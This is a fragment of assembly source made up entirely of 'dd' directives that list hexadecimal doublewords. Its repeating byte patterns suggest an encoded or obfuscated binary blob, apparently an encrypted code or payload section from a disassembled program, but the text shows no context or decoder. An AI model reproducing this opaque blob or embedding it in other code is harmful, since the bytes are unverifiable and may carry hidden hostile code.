		dd 0F48C9C6Ch, 8C8D1BCBh, 63D00F74h, 0AF74CC63h, 3F636305h
		dd 8C9DB950h, 8D1BA3F4h, 0D0E2748Ch, 74CC6363h,	63630582h
		dd 9C6C883Fh, 1BB4F48Ch, 0F5748C8Dh, 0CC6363D0h, 63059574h
		dd 0C6A83F63h, 8CF48C91h, 748C8D1Bh, 6363D0C8h,	46874CCh
		dd 0E43F6363h, 0F48C8DC7h, 8C8D1A6Bh, 63D0A374h, 4374CC63h
		dd 3F636304h, 8C95C698h, 8D1A7AF4h, 0D0B6748Ch,	74CC6363h
		dd 63630456h, 95A9AC3Fh, 1A4AF48Ch, 89748C8Dh, 0CC6363D0h
		dd 63042974h, 6CD83F63h, 59F48C9Ch, 748C8D1Ah, 6363D09Ch
		dd 43C74CCh, 0F83F6363h, 0F48C8DC6h, 8C8D1A32h,	63D77774h
		dd 1774CC63h, 3F636304h, 8C9DB92Ch, 8D1A00F4h, 0D74A748Ch
		dd 74CC6363h, 636304EAh, 8DECAC3Fh, 1A14F48Ch, 5D748C8Dh
		dd 0CC6363D7h, 6304FD74h, 6CDC3F63h, 0E4F48C9Ch, 748C8D1Ah
		dd 6363D730h, 4D074CCh,	903F6363h, 0F48C95C6h, 8C8D1AF7h
		dd 63D70B74h, 0AB74CC63h, 3F636304h, 8C95AAD8h,	8D1AC9F4h
		dd 0D71E748Ch, 74CC6363h, 636304BEh, 99AF883Fh,	1AD6F48Ch
		dd 0F1748C8Dh, 0CC6363D7h, 63049174h, 0BC083F63h, 0A5F48C9Dh
		dd 748C8D1Ah, 6363D7C4h, 0B6474CCh, 0A43F6363h,	0F48C9C6Ch
		dd 8C8D1AB6h, 63D7DF74h, 7F74CC63h, 3F63630Bh, 8C8DECB0h
		dd 8D1A87F4h, 0D7B2748Ch, 74CC6363h, 63630B52h,	8DF0843Fh
		dd 1A98F48Ch, 85748C8Dh, 0CC6363D7h, 630B2574h,	6C8C3F63h
		dd 6FF48C9Ch, 748C8D19h, 6363D798h, 0B3874CCh, 0B43F6363h
		dd 0F48C8DECh, 8C8D197Ah, 63D67374h, 1374CC63h,	3F63630Bh
		dd 8C9DB920h, 8D1948F4h, 0D646748Ch, 74CC6363h,	63630BE6h
		dd 9DF4581Dh, 0B43F9C9Ch, 5F8C95AFh, 247915C9h,	9C9D9CACh
		dd 9C8B3F74h, 0CBCACF9Ch, 8D1D783Dh, 99741F8Ch,	935899A7h
		dd 18938C9Dh, 9C9C9EA8h, 8992393h, 1F8C8D1Dh, 3DCC9B74h
		dd 8C8D1E98h, 1C4C999Fh, 741F8C8Dh, 0C43DCC9Bh,	0D48C8D1Dh
		dd 60D911CCh, 588963CCh, 158C9D93h, 1D483D5Fh, 23938C8Dh
		dd 8D1DBC89h, 1F4C9D8Ch, 5FA59074h, 9D721993h, 0D9119C9Ch
		dd 0FC3DCC74h, 1F8C8D1Dh, 3DCC9974h, 8C8D1D38h,	3C892393h
		dd 9D8C8D1Ch, 91741F4Ch, 60D917CCh, 63A417CCh, 5F15A4CBh
		dd 8D1C583Dh, 8923938Ch, 8C8D1DDCh, 741F4C9Dh, 9344A592h
		dd 9C9D1319h, 1EEC3D9Ch, 23938C8Dh, 8D1C7089h, 1F4C9D8Ch
		dd 11CC9974h, 93CC70D9h, 1D349923h, 23938C8Dh, 8D1EFC89h
		dd 1F4C9D8Ch, 17CC9474h, 17CC74D9h, 90CB63A4h, 23935F15h
		dd 8D1DBC99h, 9F741F8Ch, 19935FA5h, 9C9C9DBAh, 0CC78D911h
		dd 8D1C5C3Dh, 0AC999F8Ch, 1F8C8D1Eh, 11CC9A74h,	93CC70D9h
		dd 1DEC9923h, 999F8C8Dh, 8C8D1E94h, 0CC9F741Fh,	0CC60D917h
		dd 0CB63A417h, 935F15A0h, 1E889923h, 741F8C8Dh,	935FA59Fh
		dd 6363E819h, 1C403D63h, 741F8C8Dh, 0D911CC9Bh,	0CC3DCC48h
		dd 0D48C8D1Eh, 78D917CCh, 63A417CCh, 5F1590CBh,	8D1D003Dh
		dd 0C999F8Ch, 1F8C8D1Ch, 44A59474h, 63A31993h, 0A43D6363h
		dd 1F8C8D1Dh, 11CC9F74h, 62634C19h, 0D911CC63h,	0D911CC48h
		dd 9C3DCC70h, 9F8C8D1Eh, 8D1DF099h, 90741F8Ch, 60D917CCh
		dd 63A417CCh, 5F15B4CBh, 78992393h, 938C8D1Ch, 1DBC8923h
		dd 4C9D8C8Dh, 0B0892393h, 1F8C8D1Dh, 8149976h, 62634E99h
		dd 1EF03D63h, 741F8C8Dh, 0E95FA594h, 49191184h,	0CC636263h
		dd 634C1917h, 0EC636362h, 68E17498h, 581F6363h,	49191194h
		dd 0CC636263h, 1F48E911h, 7B158C70h, 9C9C9825h,	11396F9Ch
		dd 701F70E9h, 257B158Ch, 9C9C9C98h, 0E963396Fh,	0FFE87460h
		dd 581F6363h, 638375B4h, 603D6363h, 0A58C8D1Dh,	95E878D9h
		dd 0CC78D917h, 0CA63AC17h, 74E11F94h, 1795E89Ch, 17CC74D9h
		dd 94CA63ACh, 8D1D7C3Dh, 0A8999F8Ch, 1F8C8D1Dh,	0D9A58D74h
		dd 1795E860h, 17CC60D9h, 94CA63ACh, 55C7C2C3h, 7915C95Fh
		dd 0CBCACFCDh, 9394D917h, 3D842Ah, 998C8D1Dh, 9C9C9C64h
		dd 1E84999Fh, 33938C8Dh, 94D91744h, 9DDC2A93h, 23935F9Dh
		dd 8D1EA099h, 9C61998Ch, 33939C9Ch, 94D91744h, 9EDC2A93h
		dd 0A9175F9Dh, 8C8D1D2Ch, 779B721Fh, 0ACA117DCh, 1F8C8D1Eh
		dd 6BB59E73h, 1590C917h, 461560C9h, 9CA37E1Dh, 99E11C9Ch
		dd 5C561FD6h, 898816DEh, 8C8DECDCh, 1460D117h, 4415A588h
		dd 1EA49117h, 5D1F8C8Dh, 656B05ABh, 5A1F5F15h, 9923939Dh
		dd 8C8D1D98h, 1E98999Fh, 741F8C8Dh, 0E05AA598h,	0C7C2C330h
		dd 15C95F55h, 0ECA0F479h, 89638C8Dh, 8C99B564h,	8DECA03Dh
		dd 985EC18Ch, 7915C99Ch, 0CBCACFCDh, 1794D917h,	6B15A0ECh
		dd 0DB175B9Dh, 6C8917B4h, 9F8C95C5h, 5A1594C9h,	2A934A9Dh
		dd 0D16C1F9Ah, 9363D914h, 939DDA2Ah, 1EE88923h,	91178C8Dh
		dd 8C8D1DA8h, 6B960811h, 159C9C9Dh, 4633935Fh, 1590D917h
		dd 34A11784h, 1F8C8D1Ch, 92779A73h, 0A2982A93h,	63C92A93h
		dd 98144CADh, 43A5DBA2h, 6C1572EEh, 55C7C2C3h, 7915C95Fh
		dd 9C8C9C24h, 8886749Ch, 0CACF9C9Ch, 195EF4CBh,	0B9748C8Dh
		dd 0C56363DBh, 1C64A917h, 0A99F8C8Dh, 8C8D1ED8h, 0CA97721Fh
		dd 0A92393CCh, 8C8D1DECh, 6C812393h, 9D8C8D1Ch,	98721F42h
		dd 94E963CAh, 0C6AC8963h, 5B158C91h, 8D1EF03Dh,	94741F8Ch
		dd 9FE964A5h, 0F494E117h, 8C8D1930h, 63DA4774h,	0A963C563h
		dd 8C8D1C20h, 2CA917CCh, 1F8C8D1Dh, 0CBCA9B72h,	0C6AC8963h
		dd 5B158C91h, 6C9D1911h, 0F4CC6363h, 9C9C9363h,	63CB91F6h
		dd 9C6C8489h, 1DE43D8Ch, 999F8C8Dh, 8C8D1E9Ch, 6099201Ch
		dd 0BC636373h, 239389E9h, 8D1EDC99h, 99201C8Ch,	63636C9Ch
		dd 2D1893BCh, 119C9C9Ch, 636C9D11h, 63541F63h, 9DA01CDCh
		dd 9365E99Ch, 1D348123h, 5F1F8C8Dh, 9344A591h, 9C9C131Eh
		dd 1D643D9Ch, 999F8C8Dh, 8C8D1C34h, 6E99201Ch, 0F4636373h
		dd 0C43D93E9h, 1C8C8D1Dh
		dd 6C9D9920h, 0E8E86363h, 193BF4F7h, 0AD748C8Dh, 176363DAh
		dd 8D1D78A9h, 8123938Ch, 8C8D1C6Ch, 721F429Dh, 11CCCA98h
		dd 636C9D29h, 3874CA63h, 1F636326h, 81178C58h, 8C8D1C48h
		dd 63695F1Dh, 23939C9Ch, 8D1EA089h, 0A54F9D8Ch,	0F4B9E95Fh
		dd 8C8D193Dh, 63D97774h, 17CCC563h, 8D1EB0A9h, 0ECA99F8Ch
		dd 1F8C8D1Eh, 0F6CA9A72h, 8963CB90h, 8C9C6C84h,	55C7C2C3h
		dd 7915C95Fh, 0CBCACFCDh, 1794C117h, 8D1DB8A9h,	95721F8Ch
		dd 1ED8A117h, 731F8C8Dh, 17FF779Bh, 2B9390C9h, 2B93E688h
		dd 569DE790h, 0C9156E9Dh, 99239360h, 8C8D1DECh,	1D188917h
		dd 18118C8Dh, 9C636A8Ch, 60D9A59Ch, 0A91782EAh,	8C8D1D74h
		dd 3D9A721Fh, 8C8D1D44h, 9C636899h, 78999F9Ch, 0B58C8D1Dh
		dd 8E7760D9h, 6C992393h, 158C8D1Ch, 0ECA99F5Ah,	1F8C8D1Eh
		dd 0C9179472h, 8815FA60h, 0C3DDBE7h, 1F8C8D1Dh,	5BA5865Ch
		dd 6C150DEEh, 55C7C2C3h, 7915C95Fh, 17CBCACFh, 0A91794C1h
		dd 8C8D1DE4h, 779F721Fh, 0CC8963AEh, 268C8DEDh,	8CFED14Fh
		dd 6B5D15CDh, 9B665D76h, 0B583655Dh, 0C54C1556h, 1D18A117h
		dd 5B1F8C8Dh, 6CA19FCCh, 158C8D1Dh, 14669D5Eh, 0A7DAAF88h
		dd 55E090E9h, 1790D917h, 8D1D2889h, 4C899F8Ch, 1F8C8D1Dh
		dd 88149876h, 0C344159Fh, 5FC1C7C2h, 247915C9h,	9C9A8238h
		dd 9C8D3774h, 0CBCACF9Ch, 1F90C117h, 606D2C39h,	23939C63h
		dd 8D1D0899h, 9B741F8Ch, 992393CCh, 8C8D1E88h, 1C64999Fh
		dd 741F8C8Dh, 9FF6CC9Bh, 70992393h, 938C8D1Dh, 1E908923h
		dd 4C9D8C8Dh, 0CC9F741Fh, 0B0992393h, 1F8C8D1Dh, 0F4CC9974h
		dd 1C9C9C9Ch, 6394E963h, 8DF08489h, 2419158Ch, 1F63606Dh
		dd 606C3439h, 5C3D9C63h, 1F8C8D1Ch, 19A5625Ch, 63606D24h
		dd 9A941893h, 0F03D9C9Ch, 1F8C8D1Dh, 11CC9574h,	606D2819h
		dd 2393CC63h, 8D1DBC99h, 6889178Ch, 118C8D1Dh, 0CCE08CD8h
		dd 6D5D1911h, 63CC6360h, 606D2429h, 0A8896363h,	158C9C6Ch
		dd 606D2019h, 1DE43D63h, 999F8C8Dh, 8C8D1EB0h, 2399201Ch
		dd 0DA63606Dh, 0F03DFBE9h, 1C8C8D1Dh, 6D259920h, 0E9D56360h
		dd 992393C4h, 8C8D1EC8h, 8892393h, 9D8C8D1Ch, 99201C4Ch
		dd 63606D2Ah, 3DA2E9DBh, 8C8D1DC8h, 70892393h, 9D8C8D1Ch
		dd 99201C4Ch, 63606D21h, 93BAE9A4h, 1EFC9923h, 201C8C8Dh
		dd 606D2099h, 89E9A563h, 8D1D183Dh, 0A4999F8Ch,	1C8C8D1Eh
		dd 6D299920h, 0E8FD6360h, 99B27599h, 283D9C9Ch,	1F8C8D1Ch
		dd 19A79874h, 63606D20h, 99861893h, 0C83D9C9Ch,	1F8C8D1Dh
		dd 2393EF5Ch, 8D1EC889h, 1C4C9D8Ch, 6D5D9920h, 0E9A16360h
		dd 992393A1h, 8C8D1D30h, 1C7C8917h, 0D8118C8Dh,	2A93BF8Ch
		dd 6D5D9918h, 23936360h, 8D1EB489h, 2091178Ch, 118C8D1Ch
		dd 0A5A996C8h, 3D93E94Ch, 8C8D1C0Ch, 0DD99201Ch, 0A163606Eh
		dd 217599E8h, 3D9C9C98h, 8C8D1ED0h, 0A599741Fh,	74CAE944h
		dd 63631356h, 9145E15h,	63657FFEh, 78992393h, 938C8D1Ch
		dd 1EF48923h, 18118C8Dh, 9C9C1C8Ch, 99201C9Ch, 63606D5Dh
		dd 5B90E9DCh, 606D2C19h, 9C9C9D63h, 1682779Ch, 606ED819h
		dd 0FF191463h, 1663657Fh, 657FFE19h, 0FF19A663h, 9363657Fh
		dd 9C98C718h, 1C603D9Ch, 741F8C8Dh, 1911CC9Eh, 63606D28h
		dd 91DCF4CCh, 19119C9Fh, 63657FF4h, 242963CCh, 6363606Dh
		dd 9C6CA889h, 2019158Ch, 3D63606Dh, 8C8D1C20h, 98892393h
		dd 9D8C8D1Dh, 99741F4Ch, 6D2019A5h, 18936360h, 9C9C988Ch
		dd 6D281917h, 89176360h, 8C8D1D48h, 1D0C899Fh, 761F8C8Dh
		dd 99081493h, 63657FF4h, 9F91DCF4h, 5C19119Ch, 0CC63606Eh
		dd 7FF41911h, 74CC6365h, 636321D5h, 1590581Fh, 0FCA1175Ah
		dd 1F8C8D1Dh, 0D1779973h, 8D1C403Dh, 9B741F8Ch,	8FE85FA5h
		dd 0A1182A93h, 63606E5Ch, 181464B5h, 606E5CA1h,	93B17763h
		dd 5CA1182Ah, 1563606Eh, 657EC019h, 6B641563h, 0C419157Bh
		dd 1763657Eh, 657EC019h, 0C4091763h, 0B563657Eh, 0A118144Ch
		dd 63606E5Ch, 0EE6BA5DBh, 1EAC3D33h, 23938C8Dh,	8D1C6C89h
		dd 1F4C9D8Ch, 5FA59474h, 0A43DBDE8h, 1F8C8D1Dh,	6E159E74h
		dd 0E43D5EB5h, 9F8C8D1Dh, 8D1EF899h, 9A741F8Ch,	5C891814h
		dd 9363606Eh, 1D209923h, 89178C8Dh, 8C8D1D4Ch, 0E78CD811h
		dd 0A8892393h, 9F8C8D1Eh, 8D1D6489h, 97761F8Ch,	5D990814h
		dd 0F463606Dh, 9C9C9C63h, 7EFF1911h, 11CC6365h,	606D7019h
		dd 0EE74CC63h, 11636320h, 657EFF19h, 11CACC63h,	606E5C19h
		dd 0D074CC63h, 1F9C9C9Ah, 19158458h, 63606D20h,	8D1EC03Dh
		dd 60999F8Ch, 1F8C8D1Dh, 19A79974h, 63606D20h, 9E521993h
		dd 195B9C9Ch, 63606C34h, 9C9C9C9Dh, 8D1EF83Dh, 9F741F8Ch
		dd 18935FA5h, 9C9C9DABh, 0F4992393h, 1C8C8D1Dh,	6E209920h
		dd 93F86360h, 9C9C1F19h, 192A939Ch, 63606E5Dh, 1D648917h
		dd 5E1F8C8Dh, 144CB585h, 657EFE19h, 192A9363h, 63657EFEh
		dd 992393CCh, 8C8D1C50h, 0CC99741Fh, 63C9D974h,	1C0C3D63h
		dd 999F8C8Dh, 8C8D1D78h, 3F9A741Fh, 8C8D1E24h, 0BC992393h
		dd 0D48C8D1Eh, 9DB94C3Fh, 1ED43D8Ch, 89178C8Dh,	8C8D1EB0h
		dd 1D88899Fh, 761F8C8Dh, 9908149Fh, 63606E22h, 8D1D743Dh
		dd 9A741F8Ch, 5C1911CCh, 0CC63606Eh, 634EF774h,	8C581F63h
		dd 8992393h, 1C8C8D1Ch,	6E219920h, 93FB6360h, 9C9E9B19h
		dd 9923939Ch, 8C8D1DBCh, 70892393h, 938C8D1Dh, 1EA09123h
		dd 569D8C8Dh, 149A761Fh, 6E5B9908h, 19116360h, 63606E5Dh
		dd 808963CCh, 158C9D9Ch, 657EC019h, 0ECF4CC63h,	748C8DC6h
		dd 63634F8Ch, 0C8992393h, 1F8C8D1Eh, 4C3F9474h,	3D8C9DB9h
		dd 8C8D1DF8h, 30892393h, 9D8C8D1Ch, 9B741F4Ch, 8D1E243Fh
		dd 1D883D8Ch, 23938C8Dh, 8D1C3C89h, 1F4C9D8Ch, 11CC9474h
		dd 606E5C19h, 4D74CC63h, 1F63634Dh, 0E1758858h,	3D9C9C9Dh
		dd 8C8D1DA8h, 0A794741Fh, 606D2C19h, 1C189363h,	639C9C9Ch
		dd 8DC7EC89h, 0C019158Ch, 1163657Eh, 606C3019h,	2393CC63h
		dd 8D1EBC99h, 93CCD48Ch, 1D209923h, 999F8C8Dh, 8C8D1D3Ch
		dd 0CC99741Fh, 239380F6h, 8D1C2C99h, 63CCD48Ch,	99B69C89h
		dd 190EF48Ch, 1D748C8Dh, 636363A3h, 657EC029h, 89239363h
		dd 8C8D1D34h, 0CE955E1Fh, 0C10911CCh, 0CE63657Dh, 0C6B48963h
		dd 19118C91h, 63657DC1h, 301911CCh, 0CC63606Ch,	6CB08963h
		dd 581F8C9Ch, 3DAC7780h, 8C8D1D88h, 0CC995C1Fh,	6C301911h
		dd 74CC6360h, 63636561h, 8D1916F4h, 0A3B6748Ch,	11CC6363h
		dd 606C3009h, 8963CE63h, 8C9C6CB0h, 9388581Fh, 1DB09923h
		dd 741F8C8Dh, 1CF4CC99h, 0F69C9C9Ch, 1DA03D9Eh,	741F8C8Dh
		dd 2393CC95h, 8D1C2C99h, 8923938Ch, 8C8D1C3Ch, 741F4C9Dh
		dd 9CF4CC94h, 11DC9C9Ch, 606C3019h, 8963CC63h, 8C8DF084h
		dd 7FF81915h, 23936365h, 8D1D7099h, 999F8Ch, 1F8C8D1Ch
		dd 11CC9674h, 606D2819h, 11CACC63h, 606E5C19h, 2963CC63h
		dd 63657FF8h, 0EC808963h, 29638C8Dh, 63657FF8h,	0D6D48963h
		dd 43D8C95h, 9F8C8D1Dh,	8D1D9499h, 99741F8Ch, 6D2C19A5h
		dd 83E96360h, 191199F6h, 63606C30h, 88963CCh, 938C9DBCh
		dd 7FFF192Ah, 74CC6365h, 6363ED9Ah, 749977C5h, 636320D8h
		dd 6D242963h, 89636360h, 8C95D6D4h, 6C34211Fh, 0E89C6360h
		dd 94E96395h, 6C908963h
		dd 0C2C38C9Ch, 745F55C7h, 6363DD34h, 8D191CF4h,	0A2B2748Ch
		dd 74CC6363h, 63631ADFh, 91C6B83Fh, 19E9F48Ch, 85748C8Dh
		dd 0CC6363A2h, 631AB274h, 8C581F63h, 91C6B43Fh,	15C95F8Ch
		dd 0F4701D79h, 0CF9C9C9Eh, 47ADCBCAh, 639CF6DFh, 91C6B889h
		dd 19F1F48Ch, 75748C8Dh, 636363A1h, 11CC94E9h, 63612221h
		dd 8963CB63h, 8C91C6B4h, 1188581Fh, 63625E19h, 1911CC63h
		dd 63636122h, 0B48963CCh, 158C95AFh, 63612419h,	78911763h
		dd 1F8C8D1Dh, 54A5665Dh, 9D111993h, 243D9C9Ch, 998C8D1Dh
		dd 9C9F91A4h, 1C7C999Fh, 0D9A58C8Dh, 3D91EBB0h,	8C8D1DA4h
		dd 0A59F741Fh, 99EAB4D9h, 9C9ED875h, 1D0C3D9Ch,	68998C8Dh
		dd 939C9C9Fh, 1D308923h, 4C9D8C8Dh, 0EFB0D9A5h,	99239389h
		dd 8C8D1EBCh, 9C9C3F99h, 0B0D9A59Ch, 9E8B1993h,	0D9119C9Ch
		dd 0D911CCBCh, 8963CC8Ch, 8C8DF08Ch, 613C1915h,	23936363h
		dd 8D1DC099h, 44999F8Ch, 1F8C8D1Dh, 19A59674h, 6363613Ch
		dd 211191E1h, 63636104h, 39BCE911h, 11977739h, 63610421h
		dd 8CE91163h, 19113939h, 63636134h, 41911CCh, 0CC636361h
		dd 0C7E48963h, 2B938C8Dh, 63612E19h, 92B9363h, 63636134h
		dd 1C209117h, 5D1D8C8Dh, 9C9B7466h, 1D38919Fh, 33938C8Dh
		dd 934C9D4Dh, 612C092Bh, 91176363h, 8C8D1EB0h, 93A75D1Fh
		dd 4C9D4D33h, 32092B93h, 17636361h, 8D1D6891h, 45D1D8Ch
		dd 9F9C9C99h, 8D1E9891h, 4D33938Ch, 2B934C9Dh, 63613609h
		dd 0A4911763h, 1D8C8D1Dh, 9C34205Dh, 0E8919F9Ch, 938C8D1Dh
		dd 4C9D4D33h, 61381915h, 0AC3D6363h, 178C9C6Ch,	63613809h
		dd 0B55D1563h, 0A923934Dh, 8C8D1E88h, 0A58D5A1Fh, 0BE1F936Dh
		dd 0A59C9C9Dh, 861B935Eh, 3D9C9C9Dh, 8C8D1DCCh,	9C9C0799h
		dd 8923939Ch, 8C8D1D14h, 0D9A74C9Dh, 0F68EE8B0h, 94E9639Ch
		dd 636BFB74h, 94581F63h, 9C9C6C75h, 639DF69Ch, 0C97494E9h
		dd 1F63636Bh, 42759458h, 3D9C9C9Ch, 8C8D1C60h, 78892393h
		dd 9D8C8D1Ch, 99201C4Ch, 63636270h, 221893B2h, 0F49C9C9Ch
		dd 8C8D19F8h, 63A76B74h, 72211163h, 0CB636362h,	0CC94E963h
		dd 61222111h, 63CB6363h, 91C6B489h, 5E29118Ch, 1D636362h
		dd 9C9DDC70h, 257B159Ch, 9C9C9C03h, 1139FA6Fh, 63612221h
		dd 2F74CB63h, 1D636361h, 9C9DC458h, 11EE779Ch, 63625E19h
		dd 2963CC63h, 63636124h, 93548963h, 5F158C9Dh, 0C1E84795h
		dd 8D1D743Dh, 99201C8Ch, 6363627Bh, 0F4D6E8B2h,	8C8D19C7h
		dd 63A71F74h, 72211163h, 0CB636362h, 0CC94E963h, 61222111h
		dd 63CB6363h, 91C6B489h, 5E29118Ch, 1D636362h, 9C9DDC70h
		dd 257B159Ch, 9C9C9C03h, 1139FA6Fh, 63612221h, 0A374CB63h
		dd 1D636361h, 9C9DC458h, 0E947959Ch, 0C7C2C316h, 15C95F55h
		dd 1D5C3D79h, 999F8C8Dh, 8C8D1D90h, 0A595741Fh,	9DB92499h
		dd 0F497EA8Ch, 8C9DB924h, 6C888963h, 243D8C9Ch,	0C18C9DB9h
		dd 249C985Eh, 1C9CDC9Dh, 0C99C945Eh, 701F7915h,	0CBCACFC0h
		dd 1794E917h, 5C1F90D9h, 1F9FE1DCh, 645DA35Ch, 60D9159Ah
		dd 9CF498F6h, 159C9C8Ch, 9A7B5D5Bh, 639CF6CBh, 99AF8089h
		dd 74D9158Ch, 1C0C9117h, 5D1F8C8Dh, 9F5415AAh, 8D1DB899h
		dd 60F96B8Ch, 0CC38D915h, 6374E963h, 9C6CA489h,	90E9638Ch
		dd 74E963CAh, 0D5888963h, 0D9118C95h, 0F774CC70h, 1F636341h
		dd 0E9178C58h, 1DD03D74h, 5F158C8Dh, 1D44819Fh,	771F8C8Dh
		dd 0CABE7791h, 0CC70D911h, 63A2B474h, 94581F63h, 34992393h
		dd 178C8D1Dh, 8D1C2889h, 8CD8118Ch, 9AA811A0h, 60C1A7DFh
		dd 0D91145EEh, 0E963CC34h, 0AFC4748Ch, 9CF46363h, 939C9C1Ch
		dd 1D309923h, 741F8C8Dh, 0E963CC9Ah, 8C896374h,	3D8C95D5h
		dd 8C8D1C00h, 9F985C1Fh, 8D1DE099h, 0D911CC8Ch,	0D911CC70h
		dd 8963CC34h, 8C91C6DCh, 9388581Fh, 1D80A123h, 23938C8Dh
		dd 8D1D8C81h, 0D3439D8Ch, 99E85BA5h, 77DC5CADh,	0C35CAD9Eh
		dd 5F55C7C2h, 747915C9h, 63630CFAh, 8D1E943Dh, 4066998Ch
		dd 23939CF1h, 8D1EA889h, 0CC4C9D8Ch, 0C6B88963h, 77C58C91h
		dd 985EC142h, 7915C99Ch, 0CBCACFCDh, 1590C117h,	98735D43h
		dd 91176415h, 8C8D1D18h, 939B5D1Fh, 1EDC8923h, 4D9D8C8Dh
		dd 0D9157D6Bh, 0B5421560h, 0E081175Ah, 1F8C8D1Dh, 6D159877h
		dd 7A4F4215h, 9394C117h, 15E7802Bh, 0A56BBD43h,	1795E96Bh
		dd 8D1D94A1h, 8F77D38Ch, 8D1D883Dh, 8923938Ch, 8C8D1D1Ch
		dd 4B9D5B15h, 1598731Fh, 0C7C2C364h, 15C95F55h,	84701D79h
		dd 0CF9C9C9Fh, 0E917CBCAh, 90C11794h, 1D48A117h, 731F8C8Dh
		dd 9E8E7595h, 82F49C9Ch, 748C8D19h, 6363A5A8h, 911CCCBh
		dd 63636061h, 0B48963CEh, 938C91C6h, 1C309923h,	65998C8Dh
		dd 159C9C9Ch, 63616019h, 1990F463h, 95748C8Dh, 116363A5h
		dd 63607009h, 911CE63h,	63636160h, 9D0911CEh, 0CE636363h
		dd 610911CCh, 0CE636360h, 9C9C9DF4h, 1253741Ch,	581F6363h
		dd 6C1915B0h, 19636360h, 3818935Ch, 119C9C9Dh, 63629E19h
		dd 1911CC63h, 6363639Fh, 78C974CCh, 4C3D6363h, 9F8C8D1Ch
		dd 8D1D6899h, 94741F8Ch, 9E1911CCh, 0CC636362h,	31A974CFh
		dd 581F6363h, 40891788h, 1D8C8D1Ch, 9C63695Eh, 9123939Ch
		dd 8C8D1C08h, 5EA5569Dh, 9DC91893h, 32F49C9Ch, 748C8D18h
		dd 6363A4E4h, 911CCC5h,	6363639Dh, 99EE74CEh, 0F83D9C9Ch
		dd 1F8C8D1Eh, 19159F74h, 63636064h, 1917B077h, 63636064h
		dd 9D99201Ch, 0BF636363h, 19178AE9h, 63636064h,	1C408917h
		dd 761F8C8Dh, 9908149Bh, 6363639Dh, 60641963h, 211D6363h
		dd 63636064h, 9C9C9C63h, 903D54EEh, 1F8C8D1Dh, 19159574h
		dd 63636068h, 8D1D743Dh, 9C65998Ch, 19159C9Ch, 63636160h
		dd 60701911h, 11CC6363h, 63616019h, 1911CC63h, 6363629Eh
		dd 681917CCh, 11636360h, 639D9918h, 11CC6363h, 63606119h
		dd 9DF4CC63h, 741C9C9Ch, 63631121h, 1584581Fh, 63606C19h
		dd 0E95C1963h, 1D783D84h, 999F8C8Dh, 8C8D1DA0h,	1D608917h
		dd 8148C8Dh, 63616899h,	68191763h, 15636360h, 63607419h
		dd 99101163h, 6363639Dh, 0DC63541Fh, 9C9DA01Ch,	111765E9h
		dd 63636074h, 11155D9Dh, 63636068h, 629E1911h, 0CACC6363h
		dd 6CB08963h, 581F8C9Ch, 1835F494h, 0F9748C8Dh,	1F6363ABh
		dd 0CACC9858h, 6CB08963h, 581F8C9Ch, 68196394h,	3D636360h
		dd 8C8D1C48h, 1EF8999Fh, 741F8C8Dh, 68091796h, 93636360h
		dd 9D89082Ah, 0A5636363h, 8519934Ch, 0DB636363h, 8D1E843Dh
		dd 815C1F8Ch, 1E935BA5h, 63636142h, 55C7C2C3h, 7915C95Fh
		dd 9EC0701Dh, 0CACF9C9Ch, 94C117CBh, 9C8CE11Fh,	0D83D8FE8h
		dd 1F8C8D1Eh, 19159B74h, 63636124h, 9C9C1975h, 90C9179Ch
		dd 1C589117h, 919F8C8Dh, 8C8D1D94h, 0A597751Fh,	0B97C0990h
		dd 88E98C9Dh, 208963CAh, 3D8C9DB9h, 8C8D1D3Ch, 8963CCDCh
		dd 8C8DC6FCh, 58992393h, 1F8C8D1Dh, 1915C15Ch, 63636124h
		dd 8D183DF4h, 0AA3A748Ch, 0E9636363h, 911CC90h,	63636136h
		dd 0B48963CEh, 1F8C91C6h, 19118C58h, 63636136h,	0F88963CCh
		dd 1F8C8DC6h, 8AE99F64h, 8D1DA43Dh, 9DB4998Ch, 999F9C9Ch
		dd 8C8D1D28h, 61241915h, 63AD6363h, 1806F4DBh, 0C1748C8Dh
		dd 0CF6363AAh, 220911CCh, 0CE636361h, 0C6B48963h, 581F8C91h
		dd 1F45158Ch, 1CDC6354h
		dd 0E99C9DA0h, 28191565h, 17636361h, 8D1E8089h,	18899F8Ch
		dd 1F8C8D1Dh, 4CB59F76h, 0B29FA01Ch, 9C351993h,	19179C9Ch
		dd 63636128h, 9398741Fh, 0CC9F9822h, 6CA08963h,	581F8C9Ch
		dd 145E1598h, 63613509h, 28191763h, 1F636361h, 22939E74h
		dd 63CC9F98h, 9C6CA089h, 98581F8Ch, 9145E15h, 63636134h
		dd 61281917h, 741F6363h, 9822939Fh, 8963CC9Fh, 8C9C6CA0h
		dd 1598581Fh, 3B09145Eh, 1C636361h, 63613521h, 0BDE9D963h
		dd 6134211Ch, 0E9D96363h, 3B211C84h, 0C4636361h, 296393E9h
		dd 63636124h, 0D29074CFh, 581F6363h, 34211C94h,	0D7636361h
		dd 211C85E9h, 6363613Bh, 1C8CE9D2h, 63613521h, 9BE9D063h
		dd 0DEB474CFh, 11C56363h, 63625E19h, 1911CC63h,	63636122h
		dd 0B48963CCh, 158C95AFh, 1DB83D5Ah, 5C1F8C8Dh,	0CC999F6Eh
		dd 0A58C8D1Dh, 7D18936Ch, 3D9C9C9Ch, 8C8D1DC8h,	1DE8999Fh
		dd 201C8C8Dh, 63627A99h, 1893B263h, 9C9C9C5Ch, 8D180DF4h
		dd 0A9BA748Ch, 9116363h, 63636272h, 11CCCFCEh, 63612209h
		dd 8963CE63h, 8C91C6B4h, 638CE963h, 191190E9h, 63636122h
		dd 617B74CCh, 581F6363h, 9C1A75BCh, 19119C9Ch, 6363625Eh
		dd 8963CACCh, 8C9D9354h, 23935B15h, 8D1EF499h, 64999F8Ch
		dd 1F8C8D1Dh, 5BA59674h, 0B03D80E9h, 9F8C91C6h,	63612419h
		dd 8963CC63h, 8C91C6B8h, 8963CAC5h, 8C9DB920h, 2393D277h
		dd 8D1EC899h, 99201C8Ch, 6363627Ah, 0F4A9E8B2h,	8C8D1814h
		dd 63A80774h, 72091163h, 0CE636362h, 911CCCFh, 63636122h
		dd 0B48963CEh, 638C91C6h, 0E9638CE9h, 22191190h, 0CC636361h
		dd 6361C074h, 0BC581F63h, 19936395h, 636363EEh,	55C7C2C3h
		dd 7915C95Fh, 0CBCACFCDh, 3D94C117h, 8C8D1C00h,	0DC892393h
		dd 158C8D1Eh, 1F4A9D5Ah, 23939472h, 8D1C7899h, 8923938Ch
		dd 8C8D1EA8h, 4B9D5B15h, 7798731Fh, 882B93F9h, 90D117E7h
		dd 0E5902B93h, 6EB556B5h, 9360C915h, 1C509923h,	23938C8Dh
